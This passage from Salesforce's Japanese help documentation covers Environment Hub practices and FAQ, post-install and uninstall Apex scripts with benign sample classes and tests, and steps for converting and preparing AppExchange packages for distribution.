3. この組織の SSO を無効にすることを確認し、再度 [SSO を無効化] を選択します。

環境ハブのベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

環境ハブを使用する場合は、次のガイドラインおよびベストプラクティスに従っ
てください。
• システム管理者または開発者の場合、チームがハブ組織として最も頻繁に使

用する組織を選択します。ISV パートナーの場合、環境ハブはパートナービジ
ネス組織にすでにインストールされています。

• ハブ組織に加えて、各メンバー組織に [私のドメイン] を設定します。各 [私
のドメイン] には一意のドメイン URL が含まれるため、開発、テスト、トライ
アルに使用するメンバー組織を簡単に区別できます。
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• 各メンバー組織は標準オブジェクト (型は EnvironmentHubMember) であるため、プログラムでメンバー組織の
動作を変更したり、メンバー組織にアクセスしたりできます。たとえば、任意のメンバー組織に対して API

を使用して、カスタム項目の作成、ワークフロールールの設定、ユーザの対応付けの定義、シングルサイ
ンオンの有効化を行うことができます。

• 会社のセキュリティ要件に基づいて、SSO アクセスを有効にする方法を決定します。その後、ニーズに合わ
せて SSO メソッド (明示的な対応付け、統合 ID、またはカスタム数式) を選択できます。

• 新しく追加されたユーザや、Sandbox 組織で定義されたユーザ対応付けの場合、SSO は機能しません。ユー
ザの追加、ユーザ情報の編集、または SSO ユーザ対応付けの定義は、Sandbox の親組織でのみ行う必要があ
ります。

• 環境ハブの接続アプリケーションは、内部的にのみ使用されます。どのプロファイルでも有効にしないで
ください。Salesforce による指示がない限り、接続アプリケーションの削除や設定の調整をしないでくださ
い。

FAQ - 環境ハブ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

環境ハブに関するよくある質問への回答が記載されています。

Lightning Experience で環境ハブを使用できますか?

環境ハブはどこにインストールしますか?

環境ハブを使用するために [私のドメイン] は必要ですか?

いいえ。[私のドメイン] は必要ではありません。ただし、[私のドメイン] を
設定していない場合、既存の組織を環境ハブに接続したり、シングルサイン
オンを使用してメンバー組織にログインしたりすることはできません。
Salesforce では、環境ハブを設定する場合は [私のドメイン] を設定することを
お勧めします。
環境ハブを複数の組織にインストールできますか?

Sandbox 組織で環境ハブを有効にできますか?

環境ハブではどのような種類の組織を作成できますか?

環境ハブ内で作成する組織のロケールはどのように決まるのですか?

環境ハブで作成する組織は、パートナーポータルで作成した組織と同じですか?

組織を複数の環境ハブのメンバーにすることができますか?

環境ハブは無効にできますか?

Lightning Experience で環境ハブを使用できますか?

はい。Salesforce Classic と Lightning Experience のどちらも環境ハブをサポートしています。

環境ハブはどこにインストールしますか?

ISV パートナーの場合、環境ハブはパートナービジネス組織にすでにインストールされています。
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それ以外の場合は、CRM 組織など、すべてのユーザがアクセスできる組織に環境ハブをインストールします。
管理パッケージが含まれる Developer Edition 組織に環境ハブをインストールしないでください。そのような組織
に環境ハブをインストールすると、新しいパッケージバージョンをアップロードするときや顧客にアップグ
レードを転送するときに問題が発生することがあります。

環境ハブを使用するために [私のドメイン] は必要ですか?

いいえ。[私のドメイン] は必要ではありません。ただし、[私のドメイン] を設定していない場合、既存の組織
を環境ハブに接続したり、シングルサインオンを使用してメンバー組織にログインしたりすることはできませ
ん。Salesforce では、環境ハブを設定する場合は [私のドメイン] を設定することをお勧めします。

環境ハブを複数の組織にインストールできますか?

はい。ただし、各環境ハブを個別に管理する必要があります。Salesforceでは、会社ごとに 1 つの環境ハブを設
定することをお勧めしていますが、会社に複数のハブを設定することが理にかなっている場合もあります。た
とえば、商品ラインに関連する組織を別個にする場合などです。

Sandbox 組織で環境ハブを有効にできますか?

いいえ。Sandbox 組織では環境ハブを有効にできません。環境ハブは、すべてのユーザがアクセスできる本番
組織で有効にします。

環境ハブではどのような種類の組織を作成できますか?

開発、テスト、およびトライアル用の組織を作成できます。ISV パートナーの場合は、パートナーエディショ
ンの組織も作成できます。このエディションでは、制限が緩和され、ストレージがより多くなり、またアプリ
ケーション開発をサポートするその他のカスタマイズが含まれます。パートナーであるにもかかわらず、環境
ハブにパートナーエディションの組織が表示されない場合は、パートナーコミュニティでケースを登録しま
す。

有効期限最適な用途組織種別

30 日テストGroup Edition

30 日テストEnterprise Edition

30 日テストProfessional Edition

なしアプリケーションおよび Lightning コンポー
ネントの開発

Partner Developer Edition

1 年、ただし延長申請可ロバストテストおよび顧客デモPartner Group Edition

1 年、ただし延長申請可ロバストテストおよび顧客デモPartner Enterprise Edition

1 年、ただし延長申請可ロバストテストおよび顧客デモPartner Professional Edition

1 年、ただし延長申請可Trialforce テンプレートの作成Trialforce のソース組織

1 年、ただし延長申請可顧客デモConsulting Partner Edition
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環境ハブ内で作成する組織のロケールはどのように決まるのですか?

組織を作成するSalesforceユーザのロケールによって、組織のデフォルトのロケールが決まります。たとえば、
組織を作成するユーザのロケールが English (United Kingdom) に設定されている場合、それが組織のデ
フォルトのロケールになります。このため、作成する組織は、その組織が存在する地域向けにすでにカスタマ
イズされています。

環境ハブで作成する組織は、パートナーポータルで作成した組織と同じですか?

はい。組織は、パートナーポータルで作成したものと同じです。環境ハブではパートナーポータルと同じテン
プレートが使用されるため、組織の制限の緩和やライセンスの追加などのカスタマイズが同じになります。ま
た、環境ハブを使用して、顧客が使用しているものと同じ Group Edition、Professional Edition、および Enterprise

Edition の組織を作成できます。こうすることで、実際の顧客の実装に対してアプリケーションをテストできま
す。

組織を複数の環境ハブのメンバーにすることができますか?

いいえ。組織は、同時に 1 つの環境ハブのメンバーにしかできません。組織を環境ハブに接続した後に、
Salesforce カスタマーサポートに連絡して関連付けを解除する必要があります。

環境ハブは無効にできますか?

環境ハブを組織にインストールした後に無効にすることはできません。ただし、環境ハブがユーザに表示され
ないようにすることができます。[設定] から、[クイック検索] ボックスに「アプリケーションメニュー」と入力
し、[アプリケーションメニュー]を選択します。アプリケーションメニューから、アプリケーションを非表示
にするか表示するかを選択できます。

Lightning Experience の環境ハブの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

環境ハブで組織を作成および管理する場合は、次の考慮事項に注意してくださ
い。
リストビューの制限事項

Lightning Experienceでリストビューを作成または更新するときに、組織の有効
期限によってハブメンバーを絞り込むことはできません。絞り込み条件に組
織の有効期限が含まれている既存のリストビューがある場合、そのリスト
ビューはLightning Experienceでは機能しません。組織の有効期限によってハブ
メンバーを絞り込むには、Salesforce Classic に切り替えてからリストビューを
使用します。
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Apex テスト失敗の解決
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

パッケージのインストールまたはアップグレードが、Apex のテストカバー率に
達していないために失敗する場合があります。ただし、そうした失敗の一部は
無視してもかまいません。たとえば、開発者は、登録者のデータを予測してApex

テストを作成する場合があります。
Apex テストのためにインストールが失敗する登録者は、パッケージの開発者に
お問い合わせください。
また、自身が開発者であり、Apex テスト失敗が原因でインストールに失敗する
場合は、次の点を確認してください。
• 存在する登録者のデータに依存するのではなく、Apex テストに必要なデータがすべて揃った段階にあるこ

とを確認してください。
• パッケージから参照するオブジェクトに登録者が入力規則、必須項目、またはトリガを作成する場合、こ

のオブジェクトに DML を実行するとテストが失敗する場合があります。このオブジェクトがテスト目的に
限られ、実行時には作成しないものであり、こうした不一致によって作成に失敗する場合、エラーを無視
してテストを続行しても安全です。それ以外の場合は、顧客に連絡して影響を確認してください。

パッケージのインストール/アップグレード時の Apex の実行
アプリケーション開発者は、登録者が管理パッケージをインストールまたはアップグレードした後に自動的に
Apexスクリプトを実行するように指定できます。これにより、登録者の組織の詳細に基づいてパッケージのイ
ンストールまたはアップグレードをカスタマイズできます。たとえば、スクリプトを使用して、カスタム設定
の入力、サンプルデータの作成、インストーラへのメール送信、外部システムへの通知、または大きなデータ
セットに新しい項目を入力するための一括処理操作の起動などができます。簡易化のため、指定できるインス
トール後スクリプトは 1 つのみです。パッケージのメンバーである Apex クラスである必要があります。
インストール後スクリプトは、テストを実行した後に呼び出され、デフォルトのガバナ制限が適用されます。
パッケージを示す特殊なシステムユーザとして実行するため、スクリプトによって実行されるすべての操作
は、パッケージによって行われているように見えます。このユーザには、UserInfo を使用してアクセスできま
す。このユーザは実行時にのみ確認でき、テストの実行中には確認できません。
スクリプトが失敗すると、インストール/アップグレードは中止されます。スクリプト内のエラーは、パッケー
ジの [Apex エラーを通知] 項目に指定されたユーザにメールされます。ユーザが指定されていない場合、イン
ストール/アップグレードの詳細は利用できません。
インストール後スクリプトには、他に次のような特性があります。
• バッチジョブ、スケジュールされたジョブ、および今後のジョブを開始できます。
• セッション ID にアクセスできません。
• 非同期操作を使用してコールアウトのみを実行できます。コールアウトは、スクリプトが実行され、イン

ストールが完了およびコミットされた後に実行されます。

メモ: Trialforce を使用してプロビジョニングされる新しいトライアルの組織でインストール後スクリプト
を実行することはできません。このスクリプトは登録者が既存の組織にパッケージをインストールする
場合に限り実行されます。
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インストール後スクリプトはどのように機能しますか?

インストール後スクリプトの例
インストール後スクリプトの指定

インストール後スクリプトはどのように機能しますか?
インストール後スクリプトは InstallHandlerインターフェースを実装するApexクラスです。このインター
フェースには、onInstall という、インストール時に実行されるアクションを指定する単一のメソッドがあ
ります。
global interface InstallHandler {
void onInstall(InstallContext context)

}

onInstall メソッドは、次の情報を提供するコンテキストオブジェクトを引数として取ります。
• インストールが実施される組織の組織 ID

• インストールを開始したユーザのユーザ ID

• 以前にインストールされたパッケージのバージョン番号 (Version クラスを使用して指定)。これは、1.2.0

のように、常に 3 つの番号で構成されています。
• インストールがアップグレードかどうか
• インストールがプッシュかどうか
コンテキスト引数は、データ型が InstallContext インターフェースであるオブジェクトです。このイン
ターフェースは、システムによって自動的に実装されます。InstallContext インターフェースの次の定義
では、コンテキスト引数にコールできるメソッドを示しています。
global interface InstallContext {
ID organizationId();
ID installerId();
Boolean isUpgrade();
Boolean isPush();
Version previousVersion();

}

バージョンメソッドとクラス
System.Version クラスのメソッドを使用して、管理パッケージのバージョンの取得とパッケージバージョ
ンの比較を行えます。パッケージバージョンは、パッケージでアップロードされる一連のコンポーネントを特
定する番号です。バージョン番号の形式は majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メ
ジャー番号とマイナー番号は、パッチ以外のリリースごとに指定した値に増えます。メジャー番号とマイナー
番号をあげる場合は、必ずパッチ番号 0 を使用します。
次に、System.Version クラスのインスタンスメソッドを示します。
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説明戻り値引数方法

現在のバージョンと指定されたバー
ジョンを比較し、次のいずれかの値を
返します。

IntegerSystem.Version versioncompareTo

• 0。現在のパッケージバージョンが
指定されたパッケージバージョン
と同じである場合。

• 0 より大きい整数値。現在のパッ
ケージバージョンが指定された
パッケージバージョンより大きい
場合。

• 0 より小さい整数値。現在のパッ
ケージバージョンが指定された
パッケージバージョンより小さい
場合。

2 つの番号で構成されたバージョンが
3 つの番号で構成されたバージョンと
比較される場合、パッチ番号は無視さ
れます。したがって、比較は、メ
ジャー番号とマイナー番号のみに基づ
いて行われます。

コール元のコードのメジャーパッケー
ジバージョンを返します。

Integermajor

コール元のコードのマイナーパッケー
ジバージョンを返します。

Integerminor

コール元のコードのパッチパッケージ
バージョンを返します。パッチバー

Integerpatch

ジョンがない場合は、null を返しま
す。

Systemクラスには、条件ロジックの指定に使用できる 2 つのメソッドが含まれるため、異なるパッケージバー
ジョンは異なる動作をさせることができます。
• System.requestVersion: パッケージのメジャーバージョン番号とマイナーバージョン番号の 2 つの番号

で構成されるバージョンを返します。このメソッドでは、コール元のコードがパッケージを参照するパッ
ケージのインストール済みインスタンスのバージョンを特定できます。コール元のコードが保持するバー
ジョンに基づいて、パッケージコードの動作をカスタマイズできます。

• System.runAs(System.Version): 現在のパッケージバージョンを、引数で指定されたパッケージバー
ジョンに変更します。
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登録者が複数のバージョンのパッケージをインストールしており、パッケージ内の Apex クラスまたはトリガ
を参照するコードを記述する場合、参照しているバージョンを選択する必要があります。参照を行うコール元
のApexコードのバージョン設定に応じて、パッケージのApexコードの異なるコードパスを実行できます。コー
ル元のコードのパッケージバージョン設定は、パッケージコードで System.requestVersion メソッドを
コールすることによって判断できます。

関連トピック:

Apex 開発者ガイド: Version クラス

インストール後スクリプトの例
この後に示すインストール後スクリプトのサンプルは、パッケージのインストール/アップグレード時に次の
アクションを実行します。
• 以前のバージョンが null である場合、つまりパッケージが初めてインストールされている場合、スクリプ

トは次を行う
– 「Newco」という新しいアカウントを作成し、作成されたことを検証する。
– 「Client Satisfaction Survey」というカスタムオブジェクト Survey の新しいインスタンスを作成する。
– 登録者に、パッケージのインストールを確認するメールメッセージを送信する。

• 以前のバージョンが 1.0 である場合、「Upgrading from Version 1.0」という Survey の新しいインスタンスを作成
する。

• パッケージがアップグレードである場合、「Sample Survey during Upgrade」という Survey の新しいインスタン
スを作成する。

• アップグレードがプッシュで実行されている場合、「Sample Survey during Push」という Survey の新しいイン
スタンスを作成する。

global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
if(context.previousVersion() == null) {
Account a = new Account(name='Newco');
insert(a);

Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
insert obj;

User u = [Select Id, Email from User where Id =:context.installerID()];
String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
new Messaging.SingleEmailMessage();

mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}

else
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if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
insert(obj);
}

if(context.isUpgrade()) {
Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
insert obj;
}

if(context.isPush()) {
Survey__c obj = new Survey__c(name='Sample Survey during Push');
insert obj;
}

}
}

インストール後スクリプトは、Test クラスの新しい testInstall メソッドを使ってテストできます。この
メソッドが取る引数は、次のとおりです。
• InstallHandler インターフェースを実装するクラス
• 既存のパッケージのバージョン番号を指定する Version オブジェクト
• インストールがプッシュである場合は true である省略可能な Boolean 値。デフォルトは false です。
このサンプルでは、PostInstallClass Apex クラスに実装されたインストール後スクリプトのテスト方法を
説明しています。
@isTest
static void testInstallScript() {
PostInstallClass postinstall = new PostInstallClass();
Test.testInstall(postinstall, null);
Test.testInstall(postinstall, new Version(1,0), true);
List<Account> a = [Select id, name from Account where name ='Newco'];
System.assertEquals(a.size(), 1, 'Account not found');

}

インストール後スクリプトの指定
インストール後スクリプトを作成してテストしたら、[パッケージ詳細] ページの [インストール後スクリプト]

参照項目にそのスクリプトを指定できます。それ以降のパッチリリースでは、スクリプトのコンテンツを変更
できますが、Apex クラスを変更することはできません。
クラスは、メタデータ API を使用して Package.postInstallClass として選択できます。これは、
<postInstallClass>foo</postInstallClass> 要素として、package.xml に示されます。

パッケージのアンインストール時の Apex の実行
アプリケーション開発者は、登録者が管理パッケージをアンインストールした後に自動的に Apex スクリプト
を実行するように指定できます。これにより、登録者の組織の詳細に基づいてクリーンアップおよび通知タス
クを実行できます。簡易化のため、指定できるアンインストールスクリプトは 1 つのみです。パッケージのメ
ンバーである Apex クラスである必要があります。
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アンインストールスクリプトには、デフォルトのガバナ制限が適用されます。パッケージを表す特別なシステ
ムユーザとして実行するため、スクリプトによって実行されるすべての操作は、パッケージによって行われて
いるように見えます。このユーザには、UserInfo を使用してアクセスできます。このユーザは実行時にのみ確
認でき、テストの実行中には確認できません。
スクリプトが失敗すると、アンインストールは続行しますが、スクリプトによる変更はコミットされません。
スクリプト内のエラーは、パッケージの[Apex エラーを通知]項目に指定されたユーザにメールされます。ユー
ザが指定されていない場合、アンインストールの詳細は利用できません。
アンインストールスクリプトには、次の制限があります。一括処理ジョブ、スケジュールされたジョブ、およ
び今後のジョブを開始するために使用することはできません。つまり、セッション ID にアクセスしたり、コー
ルアウトを実行したりすることはできません。

アンインストールスクリプトはどのように機能しますか?

アンインストールスクリプトの例
アンインストールスクリプトの指定

アンインストールスクリプトはどのように機能しますか?
アンインストールスクリプトは、UninstallHandler インターフェースを実装する Apexクラスです。このイ
ンターフェースには、onUninstall という、アンインストール時に実行されるアクションを指定する単一の
メソッドがあります。
global interface UninstallHandler {
void onUninstall(UninstallContext context)

}

onUninstall メソッドは、次の情報を提供するコンテキストオブジェクトを引数として取ります。
• アンインストールが実施される組織の組織 ID。
• アンインストールを開始したユーザのユーザ ID。
コンテキスト引数は、データ型が UninstallContextインターフェースであるオブジェクトです。このイン
ターフェースは、システムによって自動的に実装されます。UninstallContext インターフェースの次の定
義では、コンテキスト引数にコールできるメソッドを示しています。
global interface UninstallContext {
ID organizationId();
ID uninstallerId();

}

アンインストールスクリプトの例
以下のアンインストールスクリプトのサンプルは、パッケージのアンインストール時に次のアクションを実行
します。
• アンインストールを行ったユーザと組織を示すエントリをフィードに挿入する
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• そのユーザにアンインストールを確認するメール通知を作成して送信する
global class UninstallClass implements UninstallHandler {
global void onUninstall(UninstallContext ctx) {
FeedItem feedPost = new FeedItem();
feedPost.parentId = ctx.uninstallerID();
feedPost.body = 'Thank you for using our application!';
insert feedPost;

User u = [Select Id, Email from User where Id =:ctx.uninstallerID()];
String toAddress= u.Email;
String[] toAddresses = new String[] {toAddress};
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package uninstall successful');
mail.setPlainTextBody('Thanks for uninstalling the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });

}
}

Test クラスの testUninstall メソッドを使って、アンインストールスクリプトをテストできます。このメ
ソッドは、UninstallHandler インターフェースを実装するクラスを引数に取ります。
このサンプルでは、UninstallClass Apex クラスに実装されたアンインストールスクリプトのテスト方法を
示します。
@isTest
static void testUninstallScript() {
Id UninstallerId = UserInfo.getUserId();
List<FeedItem> feedPostsBefore =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];

Test.testUninstall(new UninstallClass());
List<FeedItem> feedPostsAfter =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];

System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
'Post to uninstaller failed.');

}

アンインストールスクリプトの指定
アンインストールスクリプトを作成してテストし、パッケージのメンバーとして含めたら、[パッケージ詳細]

ページの[アンインストールスクリプト]参照項目にそのスクリプトを指定できます。それ以降のパッチリリー
スでは、スクリプトのコンテンツを変更できますが、Apex クラスを変更することはできません。
クラスは、メタデータ API を使用して Package.uninstallClass として選択できます。これは、
<uninstallClass>foo</uninstallClass> 要素として、package.xml に示されます。
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アプリケーションのドキュメントの開発
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce では、AppExchange にアプリケーションを公開するときに次の種類のド
キュメントを添付することをお勧めします。
オプションの設定

インストーラ用の [設定] オプションを組み込むことができます。このオプ
ションを使用して、次のようなインストールや設定の詳細情報へのリンクを
作成できます。
• 複合アプリケーションの外部サービスの提供
• カスタムアプリケーション設定
[設定] オプションは、パッケージにカスタムリンクとして含まれています。
カスタムリンクはホームページのレイアウトに作成でき、パッケージに追加
することができます。
1. 設定を実装する設定情報またはVisualforceページを含む URL へのカスタムリンクを作成します。カスタム

リンクを作成したら、表示プロパティを [別のウィンドウに表示] に設定します。この設定によって、
ユーザが処理を終えた時点で元の Salesforce ページに戻ってくることができます。

2. パッケージの作成時には、[パッケージの詳細] ページにある [カスタムリンクの設定]項目からこのカス
タムリンクを選択します。

データシート
インストールする前に、そのアプリケーションについて知っておく必要がある基本的な情報をインストー
ルするユーザに提供します。

カスタマイズおよび変更ガイド
インストール後の実装の一環として必要となるカスタマイズをインストールするユーザに示します。

カスタムヘルプ
カスタムオブジェクトレコードとカスタム項目にカスタムヘルプを作成することもできます。

関連トピック:

パッケージについて
Force.com AppExchange 公開者の割り当て
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Force.com AppExchange 公開者の割り当て
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限を割り当てる
• 「アプリケーションの

カスタマイズ」

AppExchange にパッケージを公開するユーザは、次の権限を持っている必要があ
ります。
Force.com AppExchange パッケージの作成

ユーザがパッケージを作成し、そこにコンポーネントを追加することを許可
します。

Force.com AppExchange パッケージのアップロード
ユーザがアプリケーションをアップロードし、AppExchangeに登録または公開
することを許可します。

システム管理者プロファイルには、これら両方の権限が自動的に与えられます。
どのユーザにこれらの権限を付与するかを判断し、適切なユーザプロファイル
または権限セットに権限を追加します。

関連トピック:

パッケージについて
アプリケーションのドキュメントの開発
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未管理パッケージから管理パッケージへの変換
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

開発者設定を定義する
• 「アプリケーションの

カスタマイズ」

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

組織が、すでにパッケージを Force.com AppExchangeディレクトリにアップロード
および登録している可能性があります。Winter '07 のリリースまでは、すべての
パッケージは未管理パッケージで、インストーラの組織ではアップグレードす
ることができませんでした。管理パッケージを使用できるように組織を設定し、
管理するパッケージを選択すると、これらの未管理パッケージを変換できます。
この設定によって、インストーラにアップグレードの提供を通知できます。
既存のパッケージを管理パッケージに変換する前に、現在のインストーラにデー
タの保存方法を通知します。
1. 以前の未管理バージョンのパッケージからすべてのデータをエクスポートし

ます。
2. 未管理パッケージをアンインストールします。
3. パッケージの新しい管理バージョンをインストールします。
4. エクスポートされたすべてのデータを新しい管理アプリケーションにイン

ポートします。

メモ: インストール時の注意: インストール済みの未管理パッケージをカ
スタマイズしている場合は、管理バージョンのインストール後にこれら
のカスタマイズを再実装できるよう、すべてのカスタマイズをリスト
アップしてから未管理バージョンをアンインストールしてください。た
だし、管理パッケージではカスタマイズできない設定もあります。

未管理パッケージを管理パッケージに変換する手順は、次のとおりです。
1. 組織に対して管理パッケージを有効化します。
2. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
3. 管理するパッケージを編集し、[管理済み] を選択します。

警告: 未管理パッケージを管理パッケージに変換するには、名前空間プレ
フィックスの登録が必要です。この名前空間プレフィックスは、カスタム
項目やカスタムSコントロールなど固有の名前を持つパッケージコンポーネ
ントの API 名に反映されます。Sコントロールライブラリに保存されている
Sコントロール、または Force.com APIを使用しない [ドキュメント] タブは、
名前空間プレフィックスの登録後も正常に機能します。ただし、組織外に
保存された Sコントロール、または Force.com API を使用して Salesforceを呼び
出す Sコントロールは、微調整が必要な場合があります。詳細は、『オブ
ジェクトリファレンス』の「Scontrol」を参照してください。

関連トピック:

パッケージの管理
管理パッケージの作成
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アプリケーションの配布

アプリケーションのアップロード、拡張とアップグレードの公開、バージョンの管理を行います。

配布用アプリケーションの準備
Trialforce を使用する理由は?

API を使用したサインアップの作成
管理パッケージへの拡張の公開
管理パッケージへのアップグレードの公開
バージョンの管理
パッチの作成およびアップロード
転送アップグレードのスケジュール
FAQ - パッケージの公開
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配布用アプリケーションの準備
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

パッケージの配布準備ができたら、管理パッケージと未管理パッケージのどち
らをリリースするか決定します。
1. パッケージを作成します。

a. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッ
ケージ] を選択します。

b. [新規] をクリックします。
c. パッケージの名前を入力します。このパッケージの名前が、AppExchange

上に表示される名前と同じである必要はありません。
d. ドロップダウンメニューから、パッケージのすべてのコンポーネントラ

ベルのデフォルト言語を選択します。
e. 必要に応じて、[カスタムリンクの設定] 項目からカスタムリンクを選択

し、アプリケーションをインストールするユーザに設定情報を表示しま
す。ホームページレイアウト用に作成した URL または Sコントロールへの
定義済みのカスタムリンクが選択できます。「アプリケーションのドキュ
メントの開発」 (ページ7040)を参照してください。このカスタムリンクは、
Salesforce内の [設定]リンクとして、Force.com AppExchangeダウンロードペー
ジとインストールするユーザの組織のアプリケーションの詳細ページに
表示されます。

f. 必要に応じて、[Apex エラーを通知] 項目に、Apex コードでキャッチで
きない例外が Apex で発生した場合にメール通知を受信するユーザのユー
ザ名を入力します。ユーザ名を指定しないと、検出されないすべての例
外についてメール通知が生成され、Salesforce に送信されます。このオプ
ションは、管理パッケージでのみ使用できます。

メモ: Apex は、Developer、Enterprise、Unlimited、および Performance エ
ディションを使用する組織でのみパッケージ化できます。

g. 登録者がパッケージアプリケーションのインストール、アップグレード、またはアンインストールに失
敗し、エラーが発生した場合、必要に応じて [パッケージ化エラーを通知]項目にメール通知を受信する
ユーザのメールアドレスを入力します。この項目は、パッケージ化エラーの通知が有効になっている場
合にのみ表示されます。通知を有効にするには、Salesforce の担当者までお問い合わせください。

h. 必要に応じて、パッケージの説明を入力します。AppExchange にアップロードする前に、この説明を変
更することができます。

i. 必要に応じて、インストール後スクリプトを指定します。これは、パッケージのインストールまたは
アップグレード後に登録者組織で実行されるApexスクリプトです。詳細は、「パッケージのインストー
ル/アップグレード時の Apex の実行」を参照してください。

j. 必要に応じて、アンインストールスクリプトを指定します。これは、パッケージのアンインストール後
に登録者組織で実行される Apex スクリプトです。詳細は、「パッケージのアンインストール時の Apex

の実行」を参照してください。
k. [保存] をクリックします。
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2. Salesforceパッケージ API アクセス権限を、[無制限] に設定します。この設定を変更して、パッケージ内の
Salesforce コンポーネントの API アクセスを制限できます。詳細は、「パッケージの API アクセスおよびダイ
ナミック Apex アクセスの管理」 (ページ 7016)を参照してください。

3. 必要なコンポーネントをアプリケーションに追加します。
a. [コンポーネントを追加] をクリックします。
b. ドロップダウンリストから、パッケージに追加するコンポーネントの種別を選択します。

• リストの上にある文字をクリックすると、並び替えた列のその文字で始まる行が表示されます。
• [次のページ] (または [前のページ]) のリンクをクリックすると、次のコンポーネント (または前のコン

ポーネント) に移動します。
• リストの下にある [減らす] または [追加] をクリックして、リストの表示件数を変更します (可能な場

合)。

c. 追加するコンポーネントを選択します。
d. [パッケージに追加] をクリックします。
e. パッケージにすべてのコンポーネントが追加されるまで、この手順を繰り返します。

メモ:

• 一部の関連コンポーネントは、[パッケージコンポーネント] リストに表示されていない場合でも
パッケージに自動的に組み込まれます。たとえば、パッケージにカスタムオブジェクトを追加する
と、そのカスタム項目、ページレイアウトおよび標準オブジェクトとの関係が自動的に組み込まれ
ます。

• 結合レポートをパッケージすると、それぞれのブロックがパッケージに含まれます。ブロックは
パッケージにレポートとして表示されますが、ブロックをクリックすると、レポートを表示する
「アクセス権がありません」というエラーメッセージが表示されます。これは予期される動作で
す。代わりに、結合レポートの名前をクリックして、このレポートを実行します。

4. [連動関係を参照] をクリックすると、パッケージ内の他のコンポーネント、権限、または設定と連動して
いるコンポーネントのリストを確認できます。リストには、Sコントロール、標準/カスタム項目、または
マルチ通貨などの組織全体の設定も含まれます。パッケージをインストールするには、ここにリストされ
ているコンポーネントを有効化またはインストールする必要があります。連動関係についての詳細は、「連
動関係とは」 (ページ7020)を参照してください。[完了]をクリックすると、パッケージの詳細ページに戻り
ます。

メモ: 次のいずれかが含まれているパッケージはアップロードできません。
• レコードタイプを参照するワークフロールールまたはワークフローアクション (項目自動更新やア

ウトバウンドメッセージなど)。
• 標準オブジェクト上のレコードタイプを参照するレポート。

5. [アップロード] をクリックします。

メモ: AppExchange に公開する管理パッケージを作成する場合、パッケージ化する前にアプリケーショ
ンを認証する必要があります。詳細は、AppExchangeで「セキュリティレビュー」 (英文) を参照してく
ださい。
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6. [パッケージのアップロード] ページで、次の定義を行います。
a. [バージョン名]を入力します。簡単な説明と日付を含めることをお勧めします。
b. アップロードの [バージョン番号] に、1.0 などの情報を入力します。形式は

majorNumber.minorNumber となります。

メモ: 新しいパッチバージョンをアップロードする場合は、パッチ番号を変更できません。

バージョン番号は、パッケージのリリースを示します。この項目は、管理パッケージでも未管理パッ
ケージでも必須です。管理パッケージの場合、バージョン番号は「管理 - リリース済み」アップロード
に対応しています。すべてのベータアップロードでは、新しいバージョン番号の「管理-リリース済み」
パッケージバージョンをアップロードするまで、同じバージョン番号を使用します。たとえば、次は一
連のアップロードのバージョン番号の順序です。

メモバー
ジョン
番号

タイプアップロー
ド順

最初の「管理-ベータ」アップロード。1.0管理-ベータ最初のアッ
プロード

「管理-リリース済み」アップロード。バージョン番
号は変わりません。

1.0管理-リリース済み2 番目の
アップロー
ド

この「管理-リリース済み」アップロードのマイナー
リリース番号の変更注意してください。

1.1管理-リリース済み3 番目の
アップロー
ド

バージョン番号 2.0 の最初の「管理-ベータ」アップ
ロード。メジャーバージョン番号が更新されていま
す。

2.0管理-ベータ4 番目の
アップロー
ド

「管理-リリース済み」アップロード。バージョン番
号は変わりません。

2.0管理-リリース済み5 番目の
アップロー
ド

c. 管理パッケージの場合、[リリース種別] を選択します。
• アップグレード可能なパッケージをアップロードするには [管理-リリース済み] を選択します。アッ

プロード後は、Salesforce コンポーネントの属性の一部がロックされます。
